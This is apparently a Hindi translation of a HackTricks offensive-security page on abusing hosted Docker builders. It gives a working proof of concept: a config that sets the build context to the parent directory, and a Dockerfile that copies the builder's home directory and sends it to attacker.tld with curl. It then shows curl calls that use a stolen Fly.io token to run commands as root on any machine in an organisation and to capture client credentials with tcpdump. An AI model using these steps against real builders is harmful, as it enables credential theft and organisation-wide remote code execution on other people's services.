Hosted Builders में Docker Build Context का दुरुपयोग (Path Traversal, Exfil, and Cloud Pivot)

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

TL;DR

यदि कोई CI/CD प्लेटफ़ॉर्म या hosted builder योगदानकर्ताओं को Docker build context path और Dockerfile path निर्धारित करने की अनुमति देता है, तो आप अक्सर context को parent directory (उदा., "..") पर सेट कर सकते हैं और host फाइलों को build context का हिस्सा बना सकते हैं। फिर, एक attacker-controlled Dockerfile COPY कर सकता है और builder user के home में पाए गए secrets को exfiltrate कर सकता है (उदाहरण के लिए, ~/.docker/config.json)। चोरी किए गए registry tokens provider के control-plane APIs के खिलाफ भी काम कर सकते हैं, जिससे org-wide RCE सक्षम हो सकती है।

हमले की सतह

कई hosted builder/registry सेवाएँ user-submitted images बनाते समय मोटे तौर पर यह करती हैं:

  • Read a repo-level config that includes:
  • build context path (sent to the Docker daemon)
  • Dockerfile path relative to that context
  • Copy the indicated build context directory and the Dockerfile to the Docker daemon
  • Build the image and run it as a hosted service

यदि प्लेटफ़ॉर्म build context को canonicalize और प्रतिबंधित नहीं करता है, तो एक user इसे repository के बाहर किसी लोकेशन पर सेट कर सकता है (path traversal), जिससे build user द्वारा पढ़ी जा सकने वाली arbitrary host फाइलें build context का हिस्सा बन जाती हैं और Dockerfile में COPY के लिए उपलब्ध हो जाती हैं।

प्रायोगिक सीमाएं जो आमतौर पर देखी जाती हैं:

  • The Dockerfile must reside within the chosen context path and its path must be known ahead of time.
  • The build user must have read access to files included in the context; special device files can break the copy.

PoC: Path traversal via Docker build context

Example malicious server config declaring a Dockerfile within the parent directory context:

yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile"   # Must reside inside the final context
dockerBuildPath: ".."           # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"

नोट्स:

  • ".." का उपयोग अक्सर builder उपयोगकर्ता के होम (उदा., /home/builder) की ओर जाता है, जिसमें आमतौर पर संवेदनशील फाइलें होती हैं।
  • अपने Dockerfile को repo के directory नाम के अंदर रखें (उदा., repo "test" → test/Dockerfile) ताकि यह विस्तारित parent context के भीतर बना रहे।

PoC: Dockerfile to ingest and exfiltrate the host context

dockerfile
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data                      # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)

आमतौर पर $HOME से पुनर्प्राप्त किए जाने वाले लक्ष्य:

  • ~/.docker/config.json (registry auths/tokens)
  • अन्य cloud/CLI कैश और कॉन्फ़िग (जैसे, ~/.fly, ~/.kube, ~/.aws, ~/.config/*)

टिप: रिपॉज़िटरी में .dockerignore मौजूद होने के बावजूद, कमजोर platform-side context selection यह नियंत्रित करता है कि क्या daemon को भेजा जाएगा। यदि प्लेटफ़ॉर्म चुने गए path को आपके repo’s .dockerignore का मूल्यांकन करने से पहले daemon पर कॉपी कर देता है, तो होस्ट फाइलें अभी भी उजागर हो सकती हैं।

अधिक-विशेषाधिकार वाले टोकन के साथ क्लाउड पिवट (उदाहरण: Fly.io Machines API)

कुछ प्लेटफ़ॉर्म एक ही bearer token जारी करते हैं जो container registry और control-plane API दोनों के लिए उपयोगी होता है। यदि आप किसी registry token को exfiltrate कर लेते हैं, तो उसे provider API पर आज़माएँ।

उदाहरण API कॉल्स Fly.io Machines API के खिलाफ, ~/.docker/config.json से चोरी किए गए token का उपयोग करके:

Enumerate apps in an org:

bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"

किसी भी app की किसी भी मशीन के अंदर root के रूप में कमांड चलाएँ:

bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'

परिणाम: उस token के पास पर्याप्त privileges होने पर सभी hosted apps में org-wide remote code execution।

समझौता किए गए hosted services से Secrets की चोरी

hosted servers पर exec/RCE होने पर, आप client-supplied secrets (API keys, tokens) प्राप्त कर सकते हैं या prompt-injection attacks अंजाम दे सकते हैं। उदाहरण: tcpdump इंस्टॉल करके port 8080 पर HTTP ट्रैफ़िक capture करें ताकि inbound credentials निकाले जा सकें।

bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'

# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'

Captured requests में अक्सर client credentials headers, bodies, या query params में पाए जाते हैं।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें